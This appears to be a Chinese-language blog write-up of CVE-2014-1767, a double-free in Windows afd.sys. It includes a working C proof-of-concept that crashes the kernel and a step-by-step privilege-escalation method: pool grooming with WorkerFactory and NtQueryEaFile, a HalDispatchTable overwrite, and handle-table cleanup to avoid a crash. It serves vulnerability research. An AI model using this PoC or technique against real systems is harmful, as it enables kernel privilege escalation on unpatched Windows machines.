CVE-2014-1767 Afd.sys double-free vulnerability Analysis and Exploit

Hint: Click Me for English Version
[0x00].简介
  首先想说的是,之所以分析这个漏洞有几个原因,(1)据载此漏洞在’2014黑客奥斯卡奖Pwnie Awards’中被评为最佳提权漏洞之首(AFD.sys Dangling Pointer Vulnerability (CVE-2014-1767))。(2) 这个漏洞是一个double free类型漏洞,比较有意思 (3) 迄今只有老外发了一份writeup讲解思路,还没有成功的exp放出,有的探索。本文会从poc开始在windows7 x86平台进行漏洞的原理分析以及实现一个尽量完善的提权利用:)。
[0x01]. 漏洞原理分析
A. 初窥
我们最权威也是最给力的参考资料就是下面的这个PDF文件。
http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
我们根据pdf的描述得到以下poc。本实验所有操作都在windows 7 (6.1.7601) 32位系统上完成。
=================================================
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, “WS2_32.lib”)
 
int main()
{
    DWORD targetSize = 0×310 ;
    DWORD virtualAddress = 0×13371337 ;
    DWORD mdlSize=(0×4000*(targetSize-0×30)/8)-0xFFF-(virtualAddress& 0xFFF) ;
    static DWORD inbuf1[100] ;
    memset(inbuf1, 0, sizeof(inbuf1)) ;
    inbuf1[6]  = virtualAddress ;
    inbuf1[7]  = mdlSize ;
    inbuf1[10] = 1 ;
    static DWORD inbuf2[100] ;
    memset(inbuf2, 0, sizeof(inbuf2)) ;
    inbuf2[0] = 1 ;
    inbuf2[1] = 0x0AAAAAAA ;
    WSADATA      WSAData ;
    SOCKET       s ;
    sockaddr_in  sa ;
    int          ierr ;
    WSAStartup(0×2, &WSAData) ;
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
    memset(&sa, 0, sizeof(sa)) ;
    sa.sin_port = htons(135) ;  
    sa.sin_addr.S_un.S_addr = inet_addr(“127.0.0.1″) ;
    sa.sin_family = AF_INET ;
    ierr = connect(s, (const struct sockaddr *)&sa, sizeof(sa)) ;
    static char outBuf[100] ;
    DWORD bytesRet ;
    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0×30, outBuf, 0, &bytesRet, NULL);
    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0×18, outBuf, 0, &bytesRet, NULL);
    return 0 ;
}
=================================================
双机调试poc得到以下crash:
=================================================
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  
Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 00001097, (reserved)
Arg3: 08bd0002, Memory contents of the pool block
Arg4: 854b2a20, Address of the block of pool being deallocated
Debugging Details:
——————
POOL_ADDRESS:  854b2a20 Nonpaged pool
FREED_POOL_TAG:  Mdl 
STACK_TEXT:  
8d524a6083f6dc6b000000c2 00000007 00001097 nt!KeBugCheck2+0x68b
8d524ad8 83ed8ec2 854b2a20 00000000 8636d260 nt!ExFreePoolWithTag+0x1b1
8d524aec 88787eb0 854b2a20 00000000 8876a89f nt!IoFreeMdl+0×70
8d524b08 8876a8ac00000000 00000001 05244d85 afd!AfdReturnTpInfo+0xad
8d524b44 8876bbba 05244d2d 000120c3 8876ba8c afd!AfdTliGetTpInfo+0×89
8d524bec 887702bc 854a2db8 86472720 8d524c14 afd!AfdTransmitPackets+0x12e
8d524bfc 83e83593 864727208540f5508540f550 afd!AfdDispatchDeviceControl+0x3b
=================================================
查看DeviceIoControl参数:
kd> dd 8d524d04
8d524d04  8d524d34 83e8a1ea 00000050 00000000
8d524d14  00000000 00000000 001cf984 000120c3
可见是DeviceIoControl发送控制码 0x120C3 时候触发了double free漏洞,被释放的对象是一个MDL对象。从调用栈和作者PDF描述看 afd!AfdTransmitPackets 是非常关键的函数,我们会尝试去分析它。但是这之前我们会先去分析 AfdTransmitFile , 因为poc中一共调用了两次 DeviceIoControl, 第一次没有crash,但是实际上第一个恰恰是第一次free!第二个IoCtl是第二次free(由后续分析可知),因此出现了crash!因此分析第一次IoControlCode == 0x1207F的流程必须放在前面了。当IoControlCode=0x1207F时,afd驱动会调用 afd!AfdTransmitFile 函数。下面我们看一下这个函数的执行流程, 通过执行流程的分析我们也会理解DeviceIoControl函数输入缓冲区的内容的设置缘由。
B.第一次DeviceIoControl调用分析( 0x1207F)
a. AfdTransmitFile函数分析
AfdTransmitFile有两个参数,arg1 = ecx = pIrp, arg2 = edx = pIoStackLocation
通过IoStackLocation我们就可以访问用户传递的数据了。 我们在 inbuf1 中填充了数值,这些数值肯定是有用的,按照这些值就可以达到我们想要的流程分支。于是开始动态跟踪+静态分析,得出以下与输入缓冲区相关的控制流跳转点:
 
AfdTransmitFile(pIrp, pIoStack):
inputBufferLen >= 0×30
inputBuffer & 0×3 == 0
inputBuffer < 0x7fff0000
memcpy(tempBuf, userBuf, 0×30) ;
if(*(DWORD*)tempBuf+0×28) & 0xFFFFFFC8 == 0)
if(*(DWORD*)tempBuf+0×28) & != 0×30)
if(*(DWORD*)tempBuf+0×28) & 0×30 == 0)
tpInfo = AfdGetTpInfo ( 3 )  // 当上面所有条件成立时,流程进入调用AfdGetTpInfo
b. AfdTliGetTpInfo分析
这里我们看到当inputBuffer的内容满足以上条件后,AfdTransmitFile会调用 AfdTliGetTpInfo ( 3 ).
AfdTliGetTpInfo同样是一个非常关键的函数,以下是对 AfdTliGetTpInfo的逆向分析:
elemCount是这个函数的的参数,这个函数返回值是一个指向TpInfo结构体的指针,为了深入理解这里的操作我们先说一下TpInfo这个结构体的结构:(本结构定义来自于对AfdTliGetTpInfo, AfdReturnTpInfo, AfdAllocateTpInfo, AfdInitializeTpInfo的综合分析)
========================
struct TpInfo {

TpElement  *pElemArray ;  // +0×20, TpElement数组指针

ULONG       elemCount  ;  // +0×28, pElemArray中元素个数

BYTE        isOuterMem ;  // +0×32, pElemArray是否是在本结构体之外申请的内存

}
struct TpElement {
int   flag ;              // +0×00
ULONG length ;            // +0×04
PVOID virtualAddress ;    // +0×08
PMDL  pMdl ;              // +0x0C
ULONG reserved1 ;
ULONG reserved2 ;
} ;

===============================
 
AfdTliGetTpInfo函数:
 

以上就是函数  AfdTliGetTpInfo, 函数会根据参数从一个Lookaside List中申请TpInfo结构体。对于ExAllocateFromNPagedLookasideList,它的大概含义就是:
======================
TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST Lookaside)
{
    *(Lookaside+0x0C) ++ ;
    tpInfo = InterlockedPopEntrySList( Lookaside )
    if( tpInfo == NULL)
    {
        *(Lookaside+0×10)++;
        tpInfo = AfdAllocateTpInfo(NonPagedPool,0×108 ,0xc6646641) ; 
    }
    return  tpInfo
}

=======================

对于 AfdAllocateTpInfo 它的流程大概是这样的:
============================
TpInfo * AfdAllocateTpInfo(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag)
{
   p = ExAllocatePoolWithTagPriority(NonPagedPool, 0×108 0xc6646641) ;
   AfdInitializeTpInfo(p, 3, 3, 1) ;
}
============================
 
AfdInitializeTpInfo是一个初始化数据tpInfo的函数,里面我们关注的几点就是上述定义时候的那几个域的值,
 ========================
AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)
{
    ….
    tpInfo->pElemArray = tpInfo+0×90
    tpInfo->elemCount  = 0
    tpInfo->isOuterMem = false
    ….
}

=========================

经过调试我们发现,因为这个lookaside list是afd内部使用的。lookaside list在我们调用使用时是空的,因此控制流过走入以下路径:
ExAllocateFromNPagedLookasideList->AfdAllocateTpInfo->AfdInitializeTpInfo,至此,经过alloc我们在ExAllocateFromNPagedLookasideList调用后得到了一个tpInfo结构体。并且这里的pElemArray初始化为 tpInfo+0×90 处的地址,也就是说初始化TpElement数组是存储在tpInfo内部的,可以看到初始化的tpInfo->isOuterMem 也是0,说明数组存储在结构体内部。有了 isOuterMem 这个成员我们不难猜测,当数组的元素个数比较多的时候自然要额外申请空间,存放数组元素,因为内部空间毕竟有限。这也是isOuterMem这个域的作用。这样AfdTliGetTpInfo内部的if语句就好理解了,当element个数大于3的是,会申请外部内存,并且将isOuterMem置为1,将pElemArray指针也指向新申请的内存。 对于每个数组的元素我也给出了其定义,这是我们调试时候总结出来的,这个结构在32位系统下是0×18字节,每个域的名字都已经标出,大致是存储一些某块内存的相关信息,包括其虚拟地址、长度以及描述它的MDL结构。
现在转回 AfdTramsmitFile,我们获得了一个TpInfo结构体,下面要做什么呢?
 

 

virtualAddress =  *(tempBuf+0×18)     // we set this value to 0×13371337, tempBuf 内容是从inputBuf拷贝来的
length            =  *(tempBuf+0x1C)    // we also set this
someFlag       =  *(tempBuf+0×28)     // we set this to 1
经过上面三个值的提取与判断,程序会调用 IoAllocateMdl 且使用我们提供的virtualAddress以及length ! 当程序成功申请了一个MDL结构之后,会将mdl地址填充到pElemArray的一个Element中去,然后,调用MmProbeAndLockPages 来尝试锁定mdl描述的内存,就在这个函数的调用中,MmProbeAndLockPages函数将调用失败!因为无效的地址范围!(0×13371337~0×13371337+length),此时AfdTramsmitFile将进入异常处理流程 !异常处理调用AfdReturnTpInfo。
 
 
c. AfdReturnTpInfo分析:
下面是 AfdReturnTpInfo 的一段逆向代码:
===========================
for(int i = 0 ; i < *(tpInfo+0×28) ; i++)
{
    PTPELEMENT tpElemArray = *(DWORD*)(tpInfo + 0×20) ;
    PTPELEMENT tpElement = tpElemArray + i*0×18 ;
    if(*(tpElement) & 0×02 == 0)
    {
        if(*(tpElement) < 0)
        {
            PMDL pMdl = *(DWORD*)(tpElement+0x0C) ;
            if(pMdl != NULL)
            {
                if(pMdl->MdlFlags & 0×02)
                {
                    MmUnlockPages(pMdl) ;
                }
                // 请注意此处!释放了mdl资源,但是tpElement+0x0C的指针没有清空!!!
                // dangling Pointer here !
                IoFreeMdl(pMdl) ;
            }
        }
    }
}
if(*(BYTE*)(tpInfo+0×32) != 0)
{
    ExFreePoolWithTag(*(DWORD*)(tpInfp+0×20), 0C6646641h) ;
   *(BYTE*)(tpInfo+0×32) = 0 ;
}
if(arg2) // 我们的调用中 arg2 = 1
{
  // tpInfo返回到 look aside
  ExFreeToNPagedLookasideList(AfdGlobalData+0×178, tpInfo) ; }  
else
{
   AfdFreeTpInfo(tpInfo) ; // ExFreePoolWithTag
}
===========================
 
针对我们这次执行流,AfdReturnTpInfo 执行的效果就是 free 掉了 刚刚申请的MDL资源,并且将tpInfo指针push到lookaside list 中去了!Double free的第一次free,dangling pointer 也就开始于此时!
free掉mdl后,存放在tpInfo中的Mdl指针并没有清空,tpInfo中elemCount也维持原始值,未做改动,那么假设现在再调用一次 AfdReturnTpInfo ,则势必会造成double free !
怎么样再次调用一次 AfdReturnTpInfo 呢 ?
考虑到afd.sys中 AfdReturnTpInfo 是在 大多是在异常处理程序 中使用的,因此考虑 再制造一次 异常 ! 当然要想命中 double free 必须保证 在发生异常时候, tpInfo 中的值不能被破坏 ! 我们继续看看Poc是怎么做到的。

 

C.第二次DeviceIoControl调用分析( 0x120C3)
a. AfdTransmitPackets分析:
第二次 DeviceIoControl,IoControlCode = 0x120C3, 内部调用
AfdTransmitPackets:
====================================
 __fastcall AfdTransmitPackets(PIRP Irp, PIO_STACK_LOCATION IoStack)
{
    IoStack->InputBufferLength >= 0×10
    IoStack->Type3InputBuffer & 3 == 0
    IoStack->Type3InputBuffer < 0x7fff0000
    memcpy(tempBuf, IoStack->Type3InputBuffer, 0×10);
    *(DWORD*)(tempBuf+0x0C) & 0xFFFFFFF8 == 0
    *(DWORD*)(tempBuf+0x0C) & 0×30 != 0×30
    *(DWORD*)(tempBuf) != 0
    *(DWORD*)(tempBuf+4) != 0
    *(DWORD*)(tempBuf+4) <= 0x0AAAAAAA
 
    // 以上条件关系全部成立则控制流达到此处,
    // 用户输入 可以控制 申请的TpElement数目 !!!
    AfdTliGetTpInfo( *(DWORD*)(tempBuf+4) )
}
=====================================
我们在inbuf2中设置 *(inbuf2) ==1 , *(inbuf2+4) == 0x0AAAAAAA ,恰好可以满足控制流,至此我们可以要求 AfdTliGetTpInfo 申请 0x0AAAAAAA 个TpElement !
回头查看 AfdTliGetTpInfo 函数,此时我们会先从 lookaside list 中取出一个 tpInfo ,由于第一次刚放进去一个 !那么此时我们从lookaside list中得到的就是那个 TpInfo 结构 ! 注意 此结构的某个元素pMdl是dangling pointer !
AfdTliGetTpInfo继续执行会进入到if判断,此时if条件成立 ! (0x0AAAAAAA > 3) ,
然后是会尝试申请  0×18 * 0x0AAAAAAA = 0xfffffff0 字节内存 !
显然在我们的32位系统上这么大的内存申请会失败 ! 于是此时我们就成功再依次进入了 一个异常处理程序 !
异常处理程序同样调用了 AfdReturnTpInfo  ! ,至此就像我们前面所说的,TpInfo中的danling pointer再一次被IoFreeMdl 尝试 free ! double free 的 BUG 发生了 !

 

D. 漏洞原理总结:
[1] 第一次DeviceIoControl, IoControlCode = 0x1207F, afd.sys内部调用 AfdTransmitFile,AfdTransmitFile首先会调用AfdTliGetTpInfo获得一个TpInfo结构体。然后依照我们输入buffer中提供的virtualAddres和length去申请一个MDL,
申请MDL后,将MDL的地址填入到TpInfo的数组域内。调用MmProbeAndLockPages尝试锁定这块内存,由于我们提供的是无效的地址范围,此时抛出异常,异常处理程序调用AfdReturnToInfo释放刚刚申请的TpInfo到lookaside list。同时释放掉刚刚申请的MDL问题是被释放的TpInfo的域的值没有被清空,elemCount和pMdl都没有清理,pMdl此时就是dangling pointer

 

[2] 第二次DeviceIoControl, IoControlCode =0x120c3, afd.sys内部调用 AfdTransmitPackets,AfdTransmitPackets内部调用AfdTliGetTpInfo获得一个TpInfo结构体,而调用 AfdTliGetTpInfo 时的参数 是由我们的输入指定的!
AfdTliGetTpInfo首先从lookaside list中拿出一个TpInfo指针,这个指针正是第一次IoControl时候申请的那个!,然后因为我们指定的参数elemCount大于3,AfdTliGetTpInfo尝试Alloc额外的内存,因为我们可以恶意指定很大的内存申请,这导致了申请内存过程中发生异常,程序执行流再次进入异常处理,异常处理程序调用 AfdReturnToInfo 尝试释放刚刚申请的TpInfo,因为此时TpInfo中完全保留的是第一次IoControl时填充的“过时”的值,因此造成pMdl dangling pointer的二次释放,导致double-free crash !
 
 
 
[0x02]. double-free漏洞利用:
a. 思路
这一段思路总体上参考了那篇PDF中提到的思路:
[1].  调用DeviceIoControl, IoControlCode = 0x1207F, 造成一次MDL  free
[2].  创建某个对象,使得这个对象恰好占据刚才被free掉的空间,至此转化double-free为use-after-free问题
[3].  调用DeviceIoControl, IoControlCode =0x120c3,走入重复释放流程,释放掉刚才新申请的对象!
[4].  覆盖被释放掉的对象为可控数据(伪造对象)
[5].  尝试调用能够操作此对象的函数,让函数通过操作我们刚刚覆盖的可控数据,实现一  个内核内存写操作,这个写操作最理想的就是“任意地址写任意内容”,这样我们就可以覆写HalDispatchTable的某个单元为我们ShellCode的地址,这样就可以劫持一个内核函数调用
[6]. 用户层触发刚刚被Hook的HalDispatchTable函数,使得内核执行shellcode,提权

 

b. 找合适的UAF对象
这个思路下来,我们就是要把double free转化为use-after-free来用,关键的关键是 我们选择用什么样的对象来uaf?这个对象至关重要。我们对他主要由几个要求:
A).  这个对象的大小要等于第一次被释放的内存的大小。
B).  这个对象应该有这样一个操作函数,这个函数能够操作我们的恶意数据,使得我们间接实现任意地址写任意内容
我们查看得知,第一次释放的是一个MDL对象,MDL对象的大小是由virtualAddress和length共同决定的!(这一点可以通过逆向IoAllocateMdl确认)但是恰好,我们这里的virtualAddress和length是我们可以用户层控制、指定的!因此A)的要求就不必担心了,因为我们可以控制释放空间的大小。具体的:
pages = ((Length & 0xFFF)  + (VirtualAddress & 0xFFF) + 0xFFF)>>12  +  (length>>12)
freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C
那么对b限制,怎么样能找到这么完美的对象呢?它的函数会有这么美妙的间接操作~~,
外文PDF提到了WorkerFactory了。我们去看一下它的几个函数。
NtCreateWorkerFactory创建一个WorkerFactory对象。
关键在于函数:NtSetInformationWorkerFactory
 
我们逆向看一下它的内部,发现了一个十分完美的复制语句,这就是为什么作者为我们介绍这个对象的原因吧:)
当参数满足一定条件(arg2 == 8 && *arg3 !=0)时,我们可以达到一个任意地址写任意内容的目的:
*(*(*object+0×10)+0x1C) == *arg3
我们可以设置 :
*arg3 = ShellCode ,  *(*object+0×10)+0x1C == HalDispatchTable某个单元 ,
这是完全可行的,因为我们如果可以成功覆盖object的话,object的内容是我们可控的!

 

c. 怎么copy构造的数据覆盖内核内存?
  到这里我们还有一个问题,就是怎么实现第四步说的覆盖被释放掉的对象为可控数据,只有实现了这一步我们才能利用上面的 *(*(*object+0×10)+0x1C) == *arg3 实现任意地址写任意内容。
我们分析知道被释放的MDL属于NonPagedPool,而用户空间的VirtualAlloc并没有能力为我们在NonPagedPool上分配空间从而让我们覆盖我们的数据!这就又要采取类似使用NtSetInformationWorkerFactory的方法,找那样一个Nt*系列函数,它的内部操作能够为我们完成一次ExAllocatePool并且是NonPagedPool,并且还有能复制我们的数据到它新申请的这个内存中去!说白了就是完成一次内核Alloc并且memcpy的操作!会有这么完美的函数等着我们嘛?会是哪个?还是借助那篇pdf的思路,对就是NtQueryEaFile  !(发现这样一个函数估计要把Nt*逆个遍了)
我们看看它的内部:
 

  
就是说内部会调用
p = ExAllocatePoolWithQuotaTag(NonPagedPool,  EaLength, 0x20206F49)
memcpy(p, EaList)
其中EaLength与EaList都是输入参数,用户可控。
很完美!  只是有一个坑需要注意!,这里使用的是 ExAllocatePoolWithQuotaTag 而不是 ExAllocatePoolWithTag,因此实际上是不同的!差别在于申请的内存字节数上,对于 ExAllocatePoolWithQuotaTag ,其内部是调用的
ExAllocatePoolWithTag(PoolType, length+4, tag),
因此使用NtQueryEaFile时候,字节数=EaLength=objSize-0×4才可以正常占位。
另外NtQueryEaFile函数其实结束时还是会释放掉刚刚申请的空间的,但是这个过程中只有开头的几个字节会被破坏,其余内容还是保留着的,因此不影响利用。

 

d. WorkerFactory对象占据的空间大小是多少?
确定这个值我们才能进行一系列的释放与占用。
这个可以跟踪:
NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject->ExAllocatePoolWithTag
我们发现 ExAllocatePoolWithTag 申请的字节数是 0xA0 字节 !,但是返回到NtCreateWorkerFactory时候,对象指针是 p+0×28 ,p是ExAllocatePoolWithTag返回的指针。这也是可以解释的,因为每个对象都有一个Header,这个可以从dt _OBJECT_HEADER看出来,body跟header偏移0×18字节,另外ObpAllocateObject也附加了一层信息0×10字节因此总共就是偏移原始内存+0×28字节。知道这个我们才可以布局我们的fake object,实现内核写。
nt!_OBJECT_HEADER
   +0×000 PointerCount     : 0n1
   +0×004 HandleCount      : 0n0
    . . . .    . . .           . . .
   +0×014 SecurityDescriptor : (null)
   +0×018 Body             : _QUAD
另外,在ObjHeader中有许多域的值很重要,我们需要提前设置,因为NtSetInformationWorkerFactory中调用ObReferenceObjectByHandle,通过句柄获得对象地址,这里要校验objHeader里面的内容才可以成功获得Obj地址(这里就是p+0×28处)。具体填充哪些内容?可以分析object创建过程或者结合WRK看一下,我的方法是直接复制一个已申请的obj的前面0×28字节保存到数组,测试中发现没有异常。
HalDispatchTable劫持我们依然选择 HalDispatchTable+sizeof(PVOID)的位置劫持,用户层使用NtQueryIntervalProfile触发。

 

e. exp设计,成功提权
梳理一下流程就是:
[1] 第一次IoControl,释放MDL,我们通过virtualAddress和length设置此时被释放的MDL内存大小为0xA0
[2] NtCreateWorkerFactory申请新的WorkerFactoy对象,占据【1】中被释放掉的内存
[3] 第二次IoControl,通过double free 释放掉刚刚申请的 WorkerFactoy对象
[4] NtQueryEaFile 使用我们精心设置的内容填充刚被释放掉的WorkerFactory对象内存空间(UAF)
[5] NtSetInformationWorkerFactory操作我们的fake object,达到修改HalDispatchTable+4内容为ShellCode
[6] 用户层调用NtQueryIntervalProfile,触发内核执行shellcode

 

f. 拒绝蓝屏 —> hack HandleTableEntry
最后我想说的是,经过上面流程提权完全ok了,但是有个挥之不去的问题 -
蓝屏 (BSOD)
为什么会蓝屏?
实际操作发现,当结束提权程序时候,会直接crash蓝屏,想想也是,我们已经破坏了WorkerFactory对象,但是系统并不知道,在进程退出时要清理对象,于是蓝屏也可以理解。
93da9b74 83e8d3d8 00000000 bad0b124 00000000 nt!MmAccessFault+0×106
93da9b74 8409210f 00000000 bad0b124 00000000 nt!KiTrap0E+0xdc
93da9c38 840c0ba9 890d33b0 95e7c288 853f4030 nt!ObpCloseHandleTableEntry+0×28
93da9c68 840a8f86 890d33b0 93da9c7c 890012c8 nt!ExSweepHandleTable+0x5f
93da9c88 840b6666 bee06ad8 00000000 853f36a0 nt!ObKillProcess+0×54
93da9cfc 840a8bb9 00000000 ffffffff 002dfa38 nt!PspExitThread+0x5db
93da9d24 83e8a1ea ffffffff 00000000 002dfa44 nt!NtTerminateProcess+0x1fa
因为蓝屏发生在提权之后,因此我们完全可以在内核态shellcode实现hack,让系统不知道这个已经corrupt的对象!通过逆向ExSweepHandleTable发现了解决方法。ExSweepHandleTable大意:(ObjectTable来自EPROCESS)
 ======================
Handle = 4
while(ObjectTable->HandleCount)
{
HandleTableEntry = ExpLookupHandleTableEntry(ObjectTable, Handle) ;
if(*((DWORD*)(HandleTableEntry) & 1)
{
ObpCloseHandleTableEntry(…) ;
}
Handle += 4
}
======================
我们要做的就是 将hWorkerFactory 对应的HandleTableEntry的Object域置为NULL !,这样就越过了本句柄的释放步骤!
逆向ExpLookupHandleTableEntry得出Handle与HandleTableEntry的关系:
HandleTableEntry = *(DWORD*)ObjectTable + 2*(Handle & 0xFFFFFFC0)
因此通过将对应的HandleTableEntry的Object域清为NULL就可以了,此外HandleCount也要记得减1.
另外,恢复HalDispatchTable的项也是必要的,否则有可能因为被其他进程调用而蓝屏。

 

[0x03] 最后
a. 对于win 7 X64
win7 x64应该有两个区别,一是各个结构偏移,二是要使用 CreateRoundRectRgn 消耗内核内存,以便能够顺利进入第二次异常
b. 对于 Win8
参考PDF资料吧,lz没精力搞了=-=
c. tr34sur3
double-free利用
WorkerFactory
NtQueryEaFile
都是好东西 

ps: 附件是win7 32bit Exp源码可参考

0x710DDDD (Vsbat)
2014-11-14

afd_1767_Exp

 

咦?还没有评论,抢沙发!

发表评论

带 * 的是必填项目,电子邮件地址不会被公开。
文字的交流也是情感的交流,技能的交流也是学术的交流。

Are you human? Click the Pineapple...